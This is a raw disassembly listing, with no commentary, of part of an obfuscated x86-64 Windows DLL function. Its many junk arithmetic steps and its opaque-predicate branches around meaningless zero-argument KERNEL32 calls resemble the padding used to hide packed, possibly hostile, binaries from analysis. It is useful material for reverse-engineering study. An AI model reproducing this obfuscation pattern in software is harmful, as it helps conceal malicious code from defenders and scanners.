mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax]
add eax, dword [rsp + 0x7c]
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x88], 0
jmp 0x1800080ad
mov eax, dword [rsp + 0x88]
inc eax
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0xf
jge 0x1800080c4
mov eax, dword [rsp + 0x60]
sub eax, 7
mov dword [rsp + 0x60], eax
jmp 0x18000809d
mov eax, dword [rsp + 0x50]
add eax, 0x1de4
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x5c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x180008118
cmp dword [rsp + 0x5c], 0
jle 0x180008118
mov eax, dword [rsp + 0x5c]
sub eax, 0x145d
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
sub eax, 0xebb
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x60]
add eax, 0x861
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
add eax, 0x13ae
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x58]
add eax, 0x1893
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
sub eax, 0xe7f
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x68]
sub eax, 0x209d
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x58]
sub eax, 0x1454
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x58]
sub eax, 0xdde
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x60]
add eax, 0x2242
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x8c], 0
jmp 0x18000827a
mov eax, dword [rsp + 0x8c]
inc eax
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0x30
jge 0x180008291
mov eax, dword [rsp + 0x60]
add eax, 5
mov dword [rsp + 0x60], eax
jmp 0x18000826a
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x1e0d
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x60]
sub eax, 0x7ce
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x54]
sub eax, 0x1536
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x74]
mov ecx, dword [rsp + 0x90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x64]
add eax, 0x2429
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x60]
add eax, 0x1ceb
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x64]
add eax, 0x864
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x58]
sub eax, 0x12b5
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x60]
add eax, 0xf77
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x60]
add eax, 0x2fd
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x94], 0
jmp 0x1800083d6
mov eax, dword [rsp + 0x94]
inc eax
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x94], 0x22
jge 0x1800083ed
mov eax, dword [rsp + 0x70]
sub eax, 6
mov dword [rsp + 0x70], eax
jmp 0x1800083c6
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
add eax, 0x2303
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
cmp dword [0x18007bda4], 0x1e9ab7b4
jne 0x180008602
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockShared]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TrySubmitThreadpoolCallback]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProfileStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockShared]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateHardLinkW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [rsp + 0xb8], eax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNodeEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindAtomW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsSetValue]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForThreadpoolWorkCallbacks]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolTimer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x60]
add eax, 0x24c9
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x50]
sub eax, 0x2408
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x6c]
sub eax, 0x1c62
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x70]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
je 0x18000867f
cmp dword [rsp + 0x70], 0
jle 0x18000867f
mov eax, dword [rsp + 0x70]
sub eax, 0x145c
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x60]
add eax, 0xa1a
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x68]
sub eax, 0x233
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x60]
add eax, 0xee5
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x58]
add eax, 0xfa2
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x54]
sub eax, 0x19ac
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x54]
sub eax, 0x21e6
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
sub eax, 0xad7
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x50]
sub eax, 0x2582
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
je 0x180008746
mov eax, dword [rsp + 0x54]
sub eax, 0x117d
mov dword [rsp + 0x54], eax
jmp 0x180008753
mov eax, dword [rsp + 0x54]
add eax, 0x117d
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x68]
add eax, 0xdd0
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x54]
add eax, 0xaeb
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
add eax, 0x12a9
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
sub eax, 0x2b7
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x50]
add eax, 0x2674
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x54]
add eax, 0x208d
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x64]
add eax, 0x2306
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
add eax, 0x720
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x64]
sub eax, 0x332
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x1209
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x58]
sub eax, 0x2284
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x5c]
sub eax, 0x1066
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x54]
sub eax, 0xcb2
mov dword [rsp + 0x54], eax
mov rax, qword [rsp + 0xa8]
mov ecx, dword [rsp + 0x7c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x64]
add eax, 0x995
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x6c]
sub eax, 0x1b18
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x60]
sub eax, 0x80b
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0xa8]
mov eax, dword [rax]
mov dword [rsp + 0xb4], eax
mov eax, dword [0x18007bda4]
mov ecx, 0xe326d142
cmp rax, rcx
jne 0x180008a8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryTransactedW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolTimerEx]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteFileEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileTransactedW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlPcToFileHeader]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProtectedPolicy]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenPrivateNamespaceW]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNLSVersion]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_BackupWrite]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov rax, qword [rsp + 0xa0]
mov ecx, dword [rsp + 0xb4]
mov dword [rax], ecx
mov rax, qword [rsp + 0xa8]
mov ecx, dword [rsp + 0x9c]
mov dword [rax], ecx
jmp 0x1800076cf
jmp 0x18000730e
add rsp, 0xc8
ret